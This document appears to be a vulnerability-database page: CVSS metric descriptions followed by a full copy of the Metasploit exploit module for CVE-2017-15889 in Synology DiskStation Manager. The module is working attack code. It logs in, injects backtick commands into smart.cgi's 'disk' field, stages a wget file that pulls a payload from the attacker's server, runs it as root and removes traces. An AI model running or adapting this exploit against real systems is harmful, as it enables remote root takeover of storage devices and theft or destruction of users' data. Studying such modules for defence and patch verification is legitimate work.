The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Synology DiskStation Manager smart.cgi Remote Command Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper
DEVICE_INFO_PATTERN = /major=(?<major>\d+)&minor=(?<minor>\d+)&build=(?<build>\d+)
&junior=\d+&unique=synology_\w+_(?<model>[^&]+)/x.freeze
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Synology DiskStation Manager smart.cgi Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability found in Synology DiskStation Manager (DSM)
versions < 5.2-5967-5, which allows the execution of arbitrary commands under root
privileges after website authentication.
The vulnerability is located in webman/modules/StorageManager/smart.cgi, which
allows appending of a command to the device to be scanned. However, the command
with drive is limited to 30 characters. A somewhat valid drive name is required,
thus /dev/sd is used, even though it doesn't exist. To circumvent the character
restriction, a wget input file is staged in /a, and executed to download our payload
to /b. From there the payload is executed. A wfsdelay is required to give time
for the payload to download, and the execution of it to run.
},
'Author' =>
[
'Nigusu Kassahun', # Discovery
'h00die' # metasploit module
],
'References' =>
[
[ 'CVE', '2017-15889' ],
[ 'EDB', '43190' ],
[ 'URL', 'https://ssd-disclosure.com/ssd-advisory-synology-storagemanager-smart-cgi-remote-command-execution/' ],
[ 'URL', 'https://synology.com/en-global/security/advisory/Synology_SA_17_65_DSM' ]
],
'Privileged' => true,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Platform' => ['python'],
'Arch' => [ARCH_PYTHON],
'Targets' =>
[
['Automatic', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PrependMigrate' => true,
'WfsDelay' => 10
},
'License' => MSF_LICENSE,
'DisclosureDate' => 'Nov 08 2017'
)
)
register_options(
[
Opt::RPORT(5000),
OptString.new('TARGETURI', [true, 'The URI of the Synology Website', '/']),
OptString.new('USERNAME', [true, 'The Username for Synology', 'admin']),
OptString.new('PASSWORD', [true, 'The Password for Synology', ''])
]
)
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false])
]
end
def check
vprint_status('Trying to detect installed version')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'webman', 'info.cgi'),
'vars_get' => { 'host' => '' }
})
if res && (res.code == 200) && res.body =~ DEVICE_INFO_PATTERN
version = "#{$LAST_MATCH_INFO[:major]}.#{$LAST_MATCH_INFO[:minor]}"
build = $LAST_MATCH_INFO[:build]
model = $LAST_MATCH_INFO[:model].sub(/^[a-z]+/) { |s| s[0].upcase }
model = "DS#{model}" unless model =~ /^[A-Z]/
else
vprint_error('Detection failed')
return CheckCode::Unknown
end
vprint_status("Model #{model} with version #{version}-#{build} detected")
case version
when '3.0', '4.0', '4.1', '4.2', '4.3', '5.0', '5.1'
return CheckCode::Appears
when '5.2'
return CheckCode::Appears if build < '5967-5'
end
CheckCode::Safe
end
def on_request_uri(cli, _request, cookie, token)
print_good('HTTP Server request received, sending payload')
send_response(cli, payload.encoded)
print_status('Executing payload')
inject_request(cookie, token, 'python b')
end
def inject_request(cookie, token, cmd = '')
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'webman', 'modules', 'StorageManager', 'smart.cgi'),
'cookie' => cookie,
'headers' => {
'X-SYNO-TOKEN' => token
},
'vars_post' => {
'action' => 'apply',
'operation' => 'quick',
'disk' => "/dev/sd`#{cmd}`"
}
})
end
def login
# If you try to debug login through the browser, you'll see that desktop.js calls
# ux-all.js to do an RSA encrypted login.
# Wowever in a stroke of luck Mrs. h00die caused
# a power sag while tracing/debugging the loging, causing the NAS to power off.
# when that happened, it failed to get the crypto vars, and defaulted to a
# non-encrypted login, which seems to work just fine. greetz Mrs. h00die!
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'webman', 'login.cgi'),
'vars_get' => { 'enable_syno_token' => 'yes' },
'vars_post' => {
'username' => datastore['USERNAME'],
'passwd' => datastore['PASSWORD'],
'OTPcode' => '',
'__cIpHeRtExT' => '',
'client_time' => Time.now.to_i,
'isIframeLogin' => 'yes'
}
})
if res && %r{<div id='synology'>(?<json>.*)</div>}m =~ res.body
result = JSON.parse(json)
fail_with(Failure::BadConfig, 'Incorrect Username/Password') if result['result'] == 'error'
if result['result'] == 'success'
return res.get_cookies, result['SynoToken']
end
fail_with(Failure::Unknown, "Unknown response: #{result}")
end
end
def exploit
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
if datastore['SRVHOST'] == '0.0.0.0'
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
end
begin
print_status('Attempting Login')
cookie, token = login
start_service({ 'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req, cookie, token)
end,
'Path' => '/'
} })
print_status('Cleaning env')
inject_request(cookie, token, cmd = 'rm -rf /a')
inject_request(cookie, token, cmd = 'rm -rf b')
command = "#{datastore['SRVHOST']}:#{datastore['SRVPORT']}".split(//)
command_space = 22 - "echo -n ''>>/a".length
command_space -= 1
command.each_slice(command_space) do |a|
a = a.join('')
vprint_status("Staging wget with: echo -n '#{a}'>>/a")
inject_request(cookie, token, cmd = "echo -n '#{a}'>>/a")
end
print_status('Requesting payload pull')
register_file_for_cleanup('/usr/syno/synoman/webman/modules/StorageManager/b')
register_file_for_cleanup('/a')
inject_request(cookie, token, cmd = 'wget -i /a -O b')
# at this point we let the HTTP server call the last stage
# wfsdelay should be long enough to hold out for everything to download and run
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
end
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